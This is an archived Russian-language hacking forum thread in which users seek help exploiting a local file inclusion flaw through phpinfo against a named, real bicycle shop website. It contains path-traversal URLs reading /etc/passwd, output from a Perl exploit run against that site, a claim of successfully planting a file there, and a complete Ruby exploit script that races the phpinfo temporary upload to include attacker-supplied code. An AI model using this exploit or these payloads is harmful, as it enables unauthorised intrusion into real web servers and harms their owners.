PDA

Просмотр полной версии : Помогите с LFI через phpinfo


psihoz26
19.09.2013, 11:22
ссылка на пхпинфо

http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php

ссылка с инклудом

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00

юзаю слоит LFI через phpinfo

взятый отсюда

https://rdot.org/forum/showpost.php?p=12621&postcount=2


Code:
C:\Windows\system32>perl C:\lfi.pl http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php http://w
ww.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00
Generating huge headers [headers ready]
Setting buffer size [512]
Sending request [request sent]
HTTP/1.1 200 OK
Reading........................................... ..............................
.................................................. ..............................
.................................................. ..............................
.................................................. ..............................
.................................................. ..............................
.................................................. ..............................
.................................................. ..............................
.................................................. ..............................
......................................
Got filename: /tmp/phpROHVzd
Including...


Cloud 9 Cycles























Follow @Cloud9Cycles











home -
-
custom builds --
bikes --
servicing --
bike rental --

blog --
contact us








hello

Keeping file /tmp/phpROHVzd in tmp, use it as long as you need it
.................................................. .............................


патаюсь проинклудить /tmp/phpROHVzd

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../tmp/phpROHVzd%00

и ничего не ывходит =(

В чем может быть проблема??

Unknown
19.09.2013, 16:38
psihoz26 said:
и ничего не ывходит =(
В чем может быть проблема??


Все работает, правда файл в /tmp/ живет не долго.

У меня самописный сплоит под phpinfo, в качестве нагрузки добавил в него: '); ?>

Результат:

http://www.cloud(дщд)9cycles.com/index.php?content=../../../../../../tmp/qwerty.lol%00

qaz
20.09.2013, 12:36
не силён в перое, но кто может обьяснить какие манипуляции позволяют создать файл в папке темп?

Unknown
20.09.2013, 13:58
qaz said:
не силён в перое, но кто может обьяснить какие манипуляции позволяют создать файл в папке темп?


Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.

qaz
20.09.2013, 15:17
yobanet said:
как то так.


ммм, а подробнее кто-то может обьяснить? какие параметры нужно передавать?

Unknown
20.09.2013, 16:05
Как то так, не знаю как объяснить.


Code:
require 'socket'
require 'uri'
require 'net/http'

def main()

#setting up
puts "SETTING UP"

target = 'http://www/phpinfo.php' # phpinfo()
lfi = 'http://www/include.php?file=' # LFI template like http://www.host.com/data/lfi.php?location={LFI}
payloadLocation = 'payload.txt' # payload
junkFilesCount = 50 # tail
recvBufferSize = 1024 # receive buffer size

# just echo for u
printDotted(' -target:')
print("[#{target}]\n");

printDotted(' -lfi:')
print("[#{lfi}]\n");

printDotted(' -payload:')
print("[#{payloadLocation}]\n");

printDotted(' -junk files count:')
print("[#{junkFilesCount}]\n");

printDotted(' -receive buffer size:')
print("[#{recvBufferSize}]\n");

# try to load payload
begin
printDotted('LOAD PAYLOAD')
payload = IO.read(payloadLocation)
print("[OK]\n")
rescue
print("[ERROR]\n")
return
end

# payload
file = "-----------------------------89q8834898293409rw29\r\n"
file += "Content-Disposition: form-data; name=\"file_loader\"; filename=\"\r\npayload.txt\"\r\n"
file += "Content-Type: text/plain\r\n\r\n"
file += "#{payload}\r\n"
file += "-----------------------------89q8834898293409rw29\r\n"

# generate junk files
printDotted('PREPARE JUNK')

curJunkFiles = 0;

for junkFiles in 0..junkFilesCount
file += "-----------------------------89q8834898293409rw29\r\n"
file += "Content-Disposition: form-data; name=\"file" + rand(10000).to_s + "\"; filename=\"\r\njunk" + rand(1000000).to_s * 10000 + ".txt\"\r\n"
file += "Content-Type: text/plain\r\n\r\n"
file += "superslow\r\n"
file += "-----------------------------89q8834898293409rw29\r\n"
end

print("[OK]\n")

printDotted('prepare headers')

targetURI = URI(target)

query = targetURI.path

# add query if not empty
if !targetURI.query.nil?
query += '?' + targetURI.query
end

# headers
req = "POST #{query} HTTP/1.0\r\n"
req += "Content-Type: multipart/form-data; boundary=---------------------------89q8834898293409rw29\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0\r\n"
req += "Host: #{targetURI.host}\r\n"
req += "Content-Length: #{file.length}\r\n"
req += "Connection: Close\r\n\r\n"

req += file

print("[OK]\n")

# create tcp socket
sock = Socket.new(:INET, :STREAM)

# and set receive buffer size
sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_RCVBUF, recvBufferSize)

printDotted('connecting to')

begin
sock.connect(Socket.pack_sockaddr_in(80, targetURI.host))
rescue
print("[ERROR]\n")
return false
end

print("[OK]\n")

sock.write(req)

data = ''
payloadFound = false
loaderFound = false
payloadFileName = ''
loaderFileName = ''

while true

printDotted("get next #{recvBufferSize} bytes")

tmpData = sock.recv(recvBufferSize)

print("[OK]\n")

if tmpData.nil?
break
end

data += tmpData

tmpFileName = data.scan(/\[name\]\s=>\spayload.txt\n\s\s\s\s\[type\]\s=>\stext\/plain\n\s\s\s\s\[tmp_name\]\s=>\s(.*?)\n\s\s\s\s\[error\]/)

if tmpFileName.length > 0
payloadFound = true
payloadFileName = tmpFileName[0][0].clone

printDotted('payload file location:')
print('[' + payloadFileName + ']' + "\n")

lfi += payloadFileName + '%00'

lfiURI = URI(lfi)

printDotted("Include #{payloadFileName}")

response = Net::HTTP.get_response(lfiURI);

if !response.is_a?(Net::HTTPOK) then
print("[ERROR]\n")
return
else
print("[OK]\n")
end

return
end

end
end

def printDotted(msg)
print msg + "." * (50 - msg.length)
end

main()

попугай
21.09.2013, 15:09
Как тесен интернет то.

qaz
10.10.2013, 22:12
yobanet said:
Как то так, не знаю как объяснить.



вопрос актуален

Expl0ited
10.10.2013, 22:53
yobanet said:
Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.


лол ))) как же ты писал сплоит, если не знаешь как работает уязвимость?

Unknown
11.10.2013, 00:10
yobanet said:
Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.


Это не phpinfo() выполняет подобные "манипуляции", а интерпретатор, пхпинфо же служит связующим звеном, позволяющим при определенных обстоятельствах увидеть путь к временному файлу.

Unknown
11.10.2013, 08:18
Expl0ited said:
лол ))) как же ты писал сплоит, если не знаешь как работает уязвимость?


Я сказал что я не могу грамотно объяснить, а не про то, что я не знаю как работает уязвимость.